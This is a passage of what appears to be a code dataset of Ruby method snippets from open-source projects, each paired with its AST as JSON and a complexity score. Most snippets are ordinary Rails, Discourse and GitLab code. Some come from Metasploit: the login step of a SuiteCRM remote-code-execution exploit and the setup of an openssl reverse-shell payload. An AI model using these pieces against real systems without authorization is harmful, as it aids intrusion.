status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"events\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<events>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_event_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</events>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"services\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<services>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_service_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</services>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"web sites\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<web_sites>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_web_site_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</web_sites>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"web pages\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<web_pages>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_web_page_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</web_pages>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"web forms\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<web_forms>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_web_form_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</web_forms>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"web vulns\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<web_vulns>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_web_vuln_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</web_vulns>\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_START\"]},{\"type\":\"str\",\"children\":[\"module details\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"<module_details>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[null,\"extract_module_detail_info\",{\"type\":\"lvar\",\"children\":[\"report_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</module_details>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"write\",{\"type\":\"str\",\"children\":[\"</MetasploitV5>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"flush\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"close\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"STATUS_COMPLETE\"]},{\"type\":\"str\",\"children\":[\"report\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]},\"path\"]}]}]}","id":"92273a6e-cb5f-4fbb-accc-27c8f0cb2c9f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":169,"raw_source":"def test_loading_associations_dont_leak_instance_state\n    assertions = ->(firm) {\n      assert_equal companies(:first_firm), firm\n\n      assert_predicate firm.association(:readonly_account), :loaded?\n      assert_predicate firm.association(:accounts), :loaded?\n\n      assert_equal accounts(:signals37), firm.readonly_account\n      assert_equal [accounts(:signals37)], firm.accounts\n\n      assert_predicate firm.readonly_account, :readonly?\n      assert firm.accounts.none?(&:readonly?)\n    }\n\n    assertions.call(Firm.preload(:readonly_account, :accounts).first)\n    assertions.call(Firm.eager_load(:readonly_account, :accounts).first)\n  end","complexity_score":33.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_loading_associations_dont_leak_instance_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assertions\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"firm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},{\"type\":\"lvar\",\"children\":[\"firm\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"association\",{\"type\":\"sym\",\"children\":[\"readonly_account\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"association\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"accounts\",{\"type\":\"sym\",\"children\":[\"signals37\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"readonly_account\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accounts\",{\"type\":\"sym\",\"children\":[\"signals37\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"accounts\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"readonly_account\"]},{\"type\":\"sym\",\"children\":[\"readonly?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"accounts\"]},\"none?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly?\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assertions\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"readonly_account\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assertions\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"readonly_account\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]}]},\"first\"]}]}]}]}","id":"6b9f13e6-9bed-474b-b549-8c9194d36434"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/suitecrm_log_file_rce.rb","start_line":127,"raw_source":"def authenticate\n    print_status(\"Authenticating as #{datastore['USER']}\")\n    initial_req = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri, 'index.php'),\n        'keep_cookies' => true,\n        'vars_get' => {\n          'module' => 'Users',\n          'action' => 'Login'\n        }\n      }\n    )\n\n    return false unless initial_req && initial_req.code == 200\n\n    login = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri, 'index.php'),\n        'keep_cookies' => true,\n        'vars_post' => {\n          'module' => 'Users',\n          'action' => 'Authenticate',\n          'return_module' => 'Users',\n          'return_action' => 'Login',\n          'user_name' => datastore['USER'],\n          'username_password' => datastore['PASS'],\n          'Login' => 'Log In'\n        }\n      }\n    )\n\n    return false unless login && login.code == 302\n\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri, 'index.php'),\n        'keep_cookies' => true,\n        'vars_get' => {\n          'module' => 'Administration',\n          'action' => 'index'\n        }\n      }\n    )\n\n    auth_succeeded?(res)\n  end","complexity_score":33.05,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticating as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USER\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"initial_req\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"Users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_req\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_req\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"Users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"Authenticate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"return_module\"]},{\"type\":\"str\",\"children\":[\"Users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"return_action\"]},{\"type\":\"str\",\"children\":[\"Login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USER\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Login\"]},{\"type\":\"str\",\"children\":[\"Log In\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"Administration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"auth_succeeded?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"105a7b24-f0e4-40e0-8fba-48a15dfb949d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_button_set.rb","start_line":64,"raw_source":"def self.applies_to_instance(class_name, id)\n    applies_to_class(class_name).where(\"set_data like ?\", \"%:applies_to_id: #{id.to_i}%\")\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"applies_to_instance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"applies_to_class\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"set_data like ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%:applies_to_id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}","id":"36829751-67a5-4c64-a163-1db591f5eeb9"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20180323154826_create_tag_group_permissions.rb","start_line":4,"raw_source":"def change\n    create_table :tag_group_permissions do |t|\n      t.references :tag_group, null: false\n      t.references :group, null: false\n      t.integer :permission_type, default: 1, null: false\n      t.timestamps null: false\n    end\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"tag_group_permissions\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"tag_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"permission_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"1dc08eee-2831-4e68-89fe-7655e7e5e63d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/post_revision.rb","start_line":12,"raw_source":"def create!\n      data = { raw: Faker::DiscourseMarkdown.sandwich(sentences: 5) }\n\n      ::PostRevisor.new(Post.random).revise!(User.random, data)\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"DiscourseMarkdown\"]},\"sandwich\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sentences\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"PostRevisor\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"random\"]}]},\"revise!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"random\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"85dcbb34-b26e-4048-9375-b65599018941"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/contact_inbox_with_contact_builder.rb","start_line":16,"raw_source":"def find_or_create_contact_and_contact_inbox\n    @contact_inbox = inbox.contact_inboxes.find_by(source_id: source_id) if source_id.present?\n    return @contact_inbox if @contact_inbox\n\n    ActiveRecord::Base.transaction(requires_new: true) do\n      build_contact_with_contact_inbox\n    end\n    update_contact_avatar(@contact) unless @contact.avatar.attached?\n    @contact_inbox\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_contact_and_contact_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_id\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"contact_inboxes\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[null,\"source_id\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_new\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"build_contact_with_contact_inbox\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"avatar\"]},\"attached?\"]},null,{\"type\":\"send\",\"children\":[null,\"update_contact_avatar\",{\"type\":\"ivar\",\"children\":[\"@contact\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]}]}]}","id":"fc7614b1-92af-421a-9457-66c619c61026"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/heredoc_argument_closing_parenthesis.rb","start_line":231,"raw_source":"def find_most_bottom_of_heredoc_end(arguments)\n          arguments.filter_map do |argument|\n            argument.loc.heredoc_end.end_pos if argument.loc.respond_to?(:heredoc_end)\n          end.max\n        end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_most_bottom_of_heredoc_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arguments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"argument\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument\"]},\"loc\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"heredoc_end\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument\"]},\"loc\"]},\"heredoc_end\"]},\"end_pos\"]},null]}]},\"max\"]}]}","id":"d296b9fd-c0ce-4655-984e-9adab67f3235"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation_test.rb","start_line":141,"raw_source":"def test_bad_constants_raise_errors\n      assert_raises(NameError) do\n        ActiveRecord::Relation::HelloWorld\n      end\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bad_constants_raise_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Relation\"]},\"HelloWorld\"]}]}]}","id":"c132aad3-31f8-423a-93bc-d8f62109f1d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/validate_push_otp_service.rb","start_line":14,"raw_source":"def execute\n      strategy.validate\n    rescue StandardError => ex\n      Gitlab::ErrorTracking.log_exception(ex)\n      error(ex.message)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"validate\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"log_exception\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]}]}]}]},null]}]}","id":"822587e2-b55d-4670-9859-338b0567cf05"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/moderator/manage_activity_and_roles.rb","start_line":49,"raw_source":"def remove_tag_moderator_role\n      @user.remove_role(:tag_moderator)\n      Mailchimp::Bot.new(user).manage_tag_moderator_list\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_tag_moderator_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"remove_role\",{\"type\":\"sym\",\"children\":[\"tag_moderator\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mailchimp\"]},\"Bot\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"manage_tag_moderator_list\"]}]}]}","id":"4d0271d1-07dd-47a1-80b1-5581c34c0669"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/reverse_openssl.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Unix Command Shell, Double Reverse TCP SSL (openssl)',\n        'Description' => 'Creates an interactive shell through two inbound connections',\n        'Author' => 'hdm',\n        'License' => MSF_LICENSE,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Handler' => Msf::Handler::ReverseTcpDoubleSSL,\n        'Session' => Msf::Sessions::CommandShell,\n        'PayloadType' => 'cmd',\n        'RequiredCmd' => 'openssl',\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n    register_advanced_options(\n      [\n        OptString.new('OpenSSLPath', [true, 'The path to the OpenSSL executable', 'openssl']),\n        OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])\n      ]\n    )\n  